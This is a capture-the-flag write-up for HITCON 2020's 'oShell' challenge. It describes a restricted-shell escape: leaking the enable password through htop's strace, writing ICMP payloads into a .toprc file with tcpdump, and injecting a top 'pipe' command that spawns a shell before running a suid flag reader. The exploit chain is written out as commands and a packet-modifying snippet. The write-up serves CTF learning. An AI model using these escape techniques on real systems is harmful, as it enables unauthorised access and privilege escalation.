Rating:

# oShell
_Category: ?_

## Description
> Simple shell escaping!
> (Same team-token keeps in the same environment)
>
> `ssh [email protected]` (pwd=oshell)
>
> Author: Orange

## Short Solution
Connecting to the server gives users a restricted shell. This shell can execute `htop` and `enable`. By using `htop` to run `strace` on the `enable` process, it is possible to see the secret enable password, granting access to more commands.

The elevated command shell enables the extra command `tcpdump`. This can be used to write semi-arbitrary data (encapsulated packet payloads) contents to an arbitrary file, in this case, the configuration file for the `top` utility:
```sh
tcpdump -w /home/oShell/.toprc -s 500 icmp
```

Running `ping` from the environment allows us to solicit ICMP echo responses, in which we control the payload section of the packet. We can embed valid `top` configuration syntax in these responses (note that `top` will only parse this is the components are separated by literal tab characters), and `tcpdump` will write them to a file for us:
```sh
pipe x sh 1>&0
```

Once this has been written to `.toprc`, we can run `top` and press <kbd>shift</kbd> + <kbd>y</kbd>, <kbd>x</kbd>, and <kbd>return</kbd> to cause top to launch `sh` for us.

Lastly, we can run `/readflag`, a suid root binary which outputs the flag.

## Long Solution
### Initial Recon
When connecting to the server we need to specify a "team-token", which grants us access to a segregated container. This will come in handy later.
```sh
$ ssh [email protected]
[email protected]'s password:
Team token: [redacted]
[*] Initializing instance...

Welcome to
__ _ _ _
___ / _\| |__ ___ | || |
/ _ \ \ \ | '_ \ / _ \| || |
| (_) |_\ \| | | || __/| || |
\___/ \__/|_| |_| \___||_||_|

shell~$
```

This command shell looks like it's fairly restricted, and doesn't seem to be based on any existing shell. We are able to get a list of commands we can run using `help`:
```sh
oshell~$ help
Available commands:
help
exit
id
ping
ping6
traceroute
traceroute6
arp
netstat
top
htop
enable
```

We can also see that most of these binaries are just applets compiled in to BusyBox:
```sh
oshell~$ ping --help
BusyBox v1.27.2 (2018-06-06 09:08:44 UTC) multi-call binary.
[...]
```

At this stage, we can get some hints from the wonderfully useful [GTFOBins](https://gtfobins.github.io/) project. This helps us figure out which of the commands available to us can be used for breaking out of the restricted shell.

The container stops running after 300 seconds at which the shell disconnects and the container is rebuilt.

### Elevated Shell
With the binaries we have access to there is no direct way to break out of the restricted shell. Instead, we can focus on elevating our shell using the `enable` command. This command asks for a password:
```sh
oshell~$ enable
Password:
Wrong password :(
```

We can use the `strace` functionality of `htop` to analyze the process and determine what it is doing. When we run the `enable` command, we don't see an entry in `htop`:
```sh
PID USER PRI NI VIRT RES SHR S CPU% MEM% TIME+ Command
11 oShell 20 0 3512 1120 868 R 0.0 0.0 0:00.04 htop
1 root 20 0 1492 4 0 S 0.0 0.0 0:00.26 sleep 300
6 oShell 20 0 34516 5492 2040 S 0.0 0.0 0:00.35 python /oShell.py
```

This tells us that the `enable` command is part of the `oShell.py` script, rather than an external binary.

Now we know what process it is, we can run `strace` using `htop` in one window, while running `enable` in the other. To have `htop` run `strace` for us we just need to press <kbd>s</kbd> while the Python process is selected:
```
{st_mode=S_IFCHR|0666, st_rdev=makedev(5, 0), ...}) = 0
ioctl(3, TIOCGWINSZ, {ws_row=0, ws_col=0, ws_xpixel=0, ws_ypixel=0}) = 0
ioctl(3, TCGETS, {B38400 opost isig icanon echo ...}) = 0
ioctl(3, TCGETS, {B38400 opost isig icanon echo ...}) = 0
ioctl(3, SNDCTL_TMR_CONTINUE or TCSETSF, {B38400 opost isig icanon -echo ...}) =
writev(3, [{iov_base="Password: ", iov_len=10}, {iov_base=NULL, iov_len=0}], 2)
readv(3, [{iov_base="", iov_len=0}, {iov_base="test\n", iov_len=1024}], 2) = 5
ioctl(3, TCGETS, {B38400 opost isig icanon -echo ...}) = 0
ioctl(3, SNDCTL_TMR_CONTINUE or TCSETSF, {B38400 opost isig icanon echo ...}) =
writev(3, [{iov_base="", iov_len=0}, {iov_base="\n", iov_len=1}], 2) = 1
close(3) = 0
open("/enable.secret", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0444, st_size=31, ...}) = 0
fstat(3, {st_mode=S_IFREG|0444, st_size=31, ...}) = 0
lseek(3, 0, SEEK_CUR) = 0
lseek(3, 0, SEEK_CUR) = 0
readv(3, [{iov_base="this-is-secret-7ce3ff0e2c8fd2a7", iov_len=31}, {iov_base=""
readv(3, [{iov_base="", iov_len=0}, {iov_base="", iov_len=1024}], 2) = 0
close(3) = 0
select(0, NULL, NULL, NULL, {tv_sec=1, tv_usec=0}) = 0 (Timeout)
writev(1, [{iov_base="Wrong password :(", iov_len=17}, {iov_base="\n", iov_len=1
```

The relevant lines from this show us that it opens `/enable.secret`, then reads the contents of the file. In this case, the enable password is revealed to be `this-is-secret-7ce3ff0e2c8fd2a7`. This will change every time the container rebuilds, but is relatively quick to find even manually each time.

Now we can execute `enable` and get an "elevated" shell:
```sh
oshell~$ enable
Password:
(enabled) oshell~#
```

### Break Out Part 1 - Journey to File Write
Now we have our elevated shell, we can see we get some extra commands available to us:
```sh
(enabled) oshell~# help
Available commands:
help
exit
id
ping
ping6
traceroute
traceroute6
arp
netstat
top
htop
ifconfig
tcpdump
enable
```

The most interesting of these is `tcpdump`. This allows us to write a `pcap` file to an arbitrary location on disk using the `-w` flag consisting of packets received from the network. Unfortunately, the contents of this file cannot be directly controlled as it encapsulates each packet with a pcap header in the file. Fortunately, many Linux utilities are lenient in their parsing of configuration files and so it is likely we can inject arbitrary configuration lines that `top` will parse.

One of the simpliest ways to cause a packet to be recieved by `tcpdump` is the `ping` command. On most ping implementations a pattern (`-p`) argument can be used to supply the ping packet payload content. The version of `ping` available in the environment is from `busybox`, which only allows a single repeating byte to be specified as a payload:
```sh
$ ping --help
BusyBox v1.27.2 (2018-06-06 09:08:44 UTC) multi-call binary.
```

We got stuck here for a while thinking about ways to get a packet onto the system. Our thoughts included:
* Abusing the SSH connection used to access the environment to set up a tunnel
* Traceroute ICMP responses with
* Returning DNS PTR or A records with encoded payloads

Eventually we realised that while the system itself doesn't allow us to send it incoming packets due to it being a container without a dedicated IP, it does receive responses to `ping` Echo requests sent out to the Internet. This gives us a chance to specify a custom payload in an Echo response, which will be dutifully stored by `tcpdump`. To help us test this we used a script one of our team members had prepared earlier, called [TLS Hello Modify](https://github.com/fincham/nfqueue-break-tls-handshake/blob/master/tls_hello_modify.py).

We modified this script to capture ICMP packets leaving a machine and overwrite the payload field of those packets:
```py
payload = "payload goes here"
parsed[ICMP].load = parsed[ICMP].load[0:len(parsed[ICMP].load) - len(payload)] + payload
```

Initially we tried just replacing the entire payload, but this resulted in the packets not being recieved by the server. As it wasn't clear at what point on the network path these modified packets were being discarded, we didn't investigate further, instead trying a few different ways of replacing or modifying the ICMP payload until we managed to get a packet that got through all the firewalls between our server and the CTF server. In English, the end of the original ICMP content is replaced with our payload.

Putting this all together, we are able to run our `tcpdump` command and write our payload to a path we specify. Now we just need a payload and path for it.

### Break Out Part 2 - Shell City
Now we can concerntrate on getting a shell. One option is to use the `post-rotate` command feature in `tcpdump`, but we investigated this and found the use of `top` would be simpler due to it executing our process already attached to our TTY.

The `top` command will read configuration from `~/.toprc`. This allows us to specify arbitrary commands for `top` to execute through the "Inspect" function. This is discussed in the [top GTFOBins page](https://gtfobins.github.io/gtfobins/top/).

To begin, we need the full, expanded path to the `.toprc` file, which we can get by launching `top` and pressing <kbd>w</kbd>:
```
Wrote configuration to '/home/oShell//.toprc'
```

The payload we decided on was:
```

pipe x sh 1>&0

```

This will simply execute a shell after we choose the `x` inspection option in `top`. It's important to note:

* The tab characters before and after `x` are required and cannot be spaces.
* The newlines before and after the payload are also required so that it doesn't have extra bytes around it.

### Break Out Part 3 - All together now
Putting this together, we can run our ICMP modification script on a server we control. We can run `tcpdump -w /home/oShell/.toprc -s 500 icmp` to capture ICMP packets and write them to our `.toprc` file. Lastly, we can run `ping [our-server-ip] -c 1` to send a packet and wait for the response.

This writes a strange, but still valid, file that `top` can interpret as a configuration. Now we open `top`, press <kbd>shift</kbd> + <kbd>y</kbd> to inspect a process, <kbd>return</kbd> to select the default PID, then select <kbd>x</kbd> (the name of the command we used in our payload), and press <kbd>return</kbd> a final time. We now have an interactive shell!

The formatting isn't great, but we can type `ls` to see the directory output in `/`:
```sh
/ $ ls -lah
total 908
drwxr-xr-x 1 root root 4.0K Nov 28 04:21 .
drwxr-xr-x 1 root root 4.0K Nov 28 04:21 ..
-rwxr-xr-x 1 root root 0 Nov 28 04:21 .dockerenv
drwxr-xr-x 1 root root 4.0K Nov 27 19:58 bin
drwxr-xr-x 5 root root 340 Nov 28 04:21 dev
-r--r--r-- 1 1002 1002 31 Nov 28 04:21 enable.secret
drwxr-xr-x 1 root root 4.0K Nov 28 04:21 etc
-r-------- 1 root root 35 Nov 26 10:44 flag
drwxr-xr-x 1 root root 4.0K Nov 27 19:58 home
drwxr-xr-x 1 root root 4.0K Nov 27 19:58 lib
drwxr-xr-x 5 root root 4.0K Mar 6 2019 media
drwxr-xr-x 2 root root 4.0K Mar 6 2019 mnt
-rwxrwxr-- 1 root root 3.8K Nov 25 10:23 oShell.py
dr-xr-xr-x 1004 root root 0 Nov 28 04:21 proc
-rwsr-sr-x 1 root root 825.4K Nov 19 10:54 readflag
drwx------ 2 root root 4.0K Mar 6 2019 root
drwxr-xr-x 2 root root 4.0K Mar 6 2019 run
drwxr-xr-x 1 root root 4.0K Nov 27 19:58 sbin
drwxr-xr-x 3 root root 4.0K Nov 27 19:58 share
drwxr-xr-x 2 root root 4.0K Mar 6 2019 srv
dr-xr-xr-x 13 root root 0 Nov 28 04:21 sys
drwxrwxrwt 2 root root 4.0K Mar 6 2019 tmp
drwxr-xr-x 1 root root 4.0K Nov 27 19:58 usr
drwxr-xr-x 1 root root 4.0K Mar 6 2019 var
```

From here, we can see a SUID `/readflag` which we can execute. This gives us the flag!
```sh
/ $ ./readflag
HITCON{A! AAAAAAAAAAAA! SHAR~K!!!}
```

Original writeup (https://github.com/FrenchRoomba/ctf-writeup-HITCON-CTF-2020/blob/master/oShell/README.md).